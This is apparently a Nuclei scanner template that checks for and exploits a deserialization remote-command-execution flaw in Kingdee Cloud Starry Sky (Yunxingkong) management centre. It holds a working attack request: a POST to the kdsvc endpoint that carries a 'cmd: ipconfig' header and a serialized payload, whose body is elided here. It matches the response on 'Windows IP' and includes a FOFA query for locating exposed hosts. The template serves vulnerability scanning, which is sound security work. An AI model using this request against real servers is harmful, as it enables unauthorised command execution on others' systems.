id: kingdee-erp-rce

info:
  name: Kingdee OA Yunxingkong kdsvc - Remote Code Execution
  author: SleepingBag945
  severity: critical
  description: |
    Kingdee OA Yunxingkong has a remote command execution vulnerability. This vulnerability is caused by the fact that the communication layer of Kingdee Cloud Starry Sky Management Center adopts binary data format by default, which requires serialization and deserialization. No signature or verification is performed during this communication process, leading to malicious exploitation.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%87%91%E8%9D%B6OA/%E9%87%91%E8%9D%B6OA%20%E4%BA%91%E6%98%9F%E7%A9%BA%20kdsvc%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="金蝶云星空-管理中心"
  tags: kingdee-erp,rce,intrusive,vuln

http:
  - raw:
      - |
        POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
        Host: {{Hostname}}
        cmd: ipconfig
        Content-Type: text/json

        {"ap0":"[encoded data, 15884 characters]","format":"3"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Windows IP"
          - "Kingdee.BOS.Core.Metadata.BusinessInfo"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022014c7f5d989aff46cfc93b35288718f79bb2110097f3ac8271e97a2ae499f772e0220209fe53367309b29e2e55507e4a2339721be6e21c3b535b4dda95f6b0bd48bd8:922c64590222798bb761d5b6d8e72950